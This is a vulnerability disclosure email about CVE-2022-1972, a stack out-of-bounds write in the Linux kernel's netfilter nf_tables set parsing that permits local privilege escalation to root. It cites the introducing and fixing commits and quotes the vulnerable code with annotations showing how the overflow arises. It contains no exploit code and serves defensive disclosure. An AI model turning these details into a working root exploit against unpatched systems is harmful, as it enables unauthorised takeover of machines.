Subject: CVE-2022-1972: out-of-bound write in Linux netfilter subsystem leads to local privilege escalation
Hello,
An out-of-bound write vulnerability was identified within the
netfilter subsystem
which can be exploited to achieve privilege escalation to root.
In order to trigger the issue it requires the ability to create user/net
namespaces.
this vulnerability comes from commit(
https://github.com/torvalds/linux/commit/f3a2181e16f1dcbf5446ed43f6b5d9f56c459f85)
This issue has been fixed within the following commit:
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=fecf31ee395b0295f2d7260aa29946b7605f7c85
we have confirmed it can be
exploited for privilege escalation on Ubuntu 21.10 (Linux kernel
5.13.0-39-generic).
# Vulnerability Details
```c
static int nft_set_desc_concat_parse(const struct nlattr *attr,
struct nft_set_desc *desc)
{
struct nlattr *tb[NFTA_SET_FIELD_MAX + 1];
u32 len;
int err;
err = nla_parse_nested_deprecated(tb, NFTA_SET_FIELD_MAX, attr,
nft_concat_policy, NULL);
....
len = ntohl(nla_get_be32(tb[NFTA_SET_FIELD_LEN]));
if (len * BITS_PER_BYTE / 32 > NFT_REG32_COUNT) //content < 0x40
return -E2BIG;
desc->field_len[desc->field_count++] = len; //oob write
return 0;
}
```
This will cause stack overflow, and the field_count field will be overwritten after the overflow occurs. It will cause stack overflow with controllable index.
In the nf_tables_newset function
```c
set->field_count = desc.field_count;
for (i = 0; i < desc.field_count; i++)
set->field_len[i] = desc.field_len[i]; //Because field_count is controlled, it will cause another out-of-bounds write problem
```
